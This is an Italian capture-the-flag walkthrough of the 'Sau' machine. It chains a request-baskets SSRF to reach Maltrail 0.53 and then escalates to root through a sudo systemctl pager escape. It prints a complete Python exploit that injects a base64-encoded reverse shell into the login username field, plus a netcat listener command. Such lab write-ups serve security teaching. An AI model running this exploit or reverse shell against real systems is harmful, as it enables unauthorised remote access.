Sau
Autore: Lord Shiva • Aggiornamento: 24.09.2023 • Tempo di lettura: 12 min.Come sempre prima di tutto faccio una scansione per vedere quali sono le porte aperte della macchina:
nmap -sC -sV <ip_target>
Il risultato è il seguente:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp filtered http
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 24 Sep 2023 10:32:35 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 24 Sep 2023 10:32:08 GMT
| Content-Length: 27
| href="/web">Found.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 24 Sep 2023 10:32:08 GMT
|_ Content-Length: 0
Come possiamo vedere vi sono 3 porte aperte:
22 -> Porta aperta con servizio SSH
80 -> Porta filtrata con servizio HTTP
55555 -> Porta aperta con servizio sconosciuto
Dal momento che non conosciamo le credenziali per accedere in SSH provo a vedere cosa trovo sulla porta 80.
Il sistema non mi restituisce niente così provo a vedere cosa esce sulla porta 55555.
Adesso sappiamo che sulla porta 55555 c'è in esecuzione il servizio request-baskets versione 1.2.1.
Quando abbiamo a portata di mano il nome di un servizio e la sua versione, è bene dare un'occhiata in giro utilizzando il motore di ricerca per vedere se c'è una vulnerabilità in agguato all'interno di questo servizio.
Facendo qualche ricerca, ho scoperto che questa versione di request-baskets è vulnerabile a SSRF (Server Side Request Forgery). Per ulteriori informazioni, cerca su Google request-basket SSRF.
Prima di tutto creiamo un carrello e impostiamolo nel seguente modo:
1. insecure_tls impostato su true ignorerà la verifica del certificato
2. proxy_response impostato su true invierà la risposta del server inoltrato al nostro client
3. expand_path impostato su true crea forward_url il percorso expanded quando l'originale http request contiene un percorfso compound.
A questo punto possiamo vedere cosa c'è sulla porta 80:
Adesso sappiamo che sulla porta 80 c'è un servizio chiamato Mailtrail versione 0.53.
Online ho trovato uno script molto interessante che potrebbe fare al caso nostro:
#!/bin/python3
import sys
import os
import base64
# Arguments to be passed
YOUR_IP = sys.argv[1] #
YOUR_PORT = sys.argv[2] #
TARGET_URL = sys.argv[3] #
print("\n[+]Started MailTrail version 0.53 Exploit")
# Fail-safe for arguments
if len(sys.argv) != 4:
print("Usage: python3 mailtrail.py ")
sys.exit(-1)
# Exploit the vulnerbility
def exploit(my_ip, my_port, target_url):
# Defining python3 reverse shell payload
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
# Encoding the payload with base64 encoding
encoded_payload = base64.b64encode(payload.encode()).decode()
# curl command that is to be executed on our system to exploit mailtrail
command = f"curl '{target_url}/login' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
# Executing it
os.system(command)
print("\n[+]Exploiting MailTrail on {}".format(str(TARGET_URL)))
try:
exploit(YOUR_IP, YOUR_PORT, TARGET_URL)
print("\n[+] Successfully Exploited")
print("\n[+] Check your Reverse Shell Listener")
except:
print("\n[!] An Error has occured. Try again!")
Quindi... La prima cosa è aprire una porta sulla nostra macchina per metterla in ascolto con netcat
nc -lnvp 5555
Successivamente lancio il programma in Python appena descritto sopra
python3 nome_programma.py <nostro_ip> <porta_nc> <indirizzo_basket_modificato>
Siamo dentro la macchina...
a questo punto andiamo in /home/puma e catturiamo la prima flag: 1b8.........................1bb
Adesso dobbiamo fare l'escalation dei privilegi.
Per primo guardiamo cosa può fare l'utente con il comando sudo -l e questo è il risultato:
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
A questo punto possiamo vedere che possiamo eseguire il comando systemctl, il binario. A questo punto è molto semplice, possiamo eseguire un'altra shell con privilegi root.
sudo systemctl status trail.service
E a questo punto possiamo lanciare il comando !sh che esegue una nuova shell come root.
Presa la seconda flag: 800.........................749